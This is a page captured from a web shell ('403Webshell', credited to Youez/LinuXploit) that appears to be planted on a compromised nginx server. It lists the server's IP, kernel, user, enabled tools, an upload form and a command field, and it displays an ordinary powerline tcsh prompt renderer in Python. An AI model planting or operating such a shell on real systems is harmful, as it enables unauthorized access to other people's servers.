403Webshell
Server IP : 164.138.27.172  /  Your IP : 216.73.217.113
Web Server : nginx/1.27.4
System : Linux cookingdream 6.8.0-124-generic #124-Ubuntu SMP PREEMPT_DYNAMIC Tue May 26 13:00:45 UTC 2026 x86_64
User : www-adm ( 1001)
PHP Version : 8.3.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/powerline/renderers/shell/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/powerline/renderers/shell/tcsh.py
# vim:fileencoding=utf-8:noet
from __future__ import (unicode_literals, division, absolute_import, print_function)

from powerline.renderers.shell.zsh import ZshPromptRenderer


class TcshPromptRenderer(ZshPromptRenderer):
	'''Powerline tcsh prompt segment renderer.'''
	character_translations = ZshPromptRenderer.character_translations.copy()
	character_translations[ord('%')] = '%%'
	character_translations[ord('\\')] = '\\\\'
	character_translations[ord('^')] = '\\^'
	character_translations[ord('!')] = '\\!'

	def do_render(self, **kwargs):
		ret = super(TcshPromptRenderer, self).do_render(**kwargs)
		nbsp = self.character_translations.get(ord(' '), ' ')
		end = self.hlstyle()
		assert not ret or ret.endswith(end)
		if ret.endswith(nbsp + end):
			# Exchange nbsp and highlight end because tcsh removes trailing 
			# %{%} part of the prompt for whatever reason
			ret = ret[:-(len(nbsp) + len(end))] + end + nbsp
		else:
			# We *must* end prompt with non-%{%} sequence for the reasons 
			# explained above. So add nbsp if it is not already there.
			ret += nbsp
		return ret


renderer = TcshPromptRenderer

Youez - 2016 - github.com/yon3zu
LinuXploit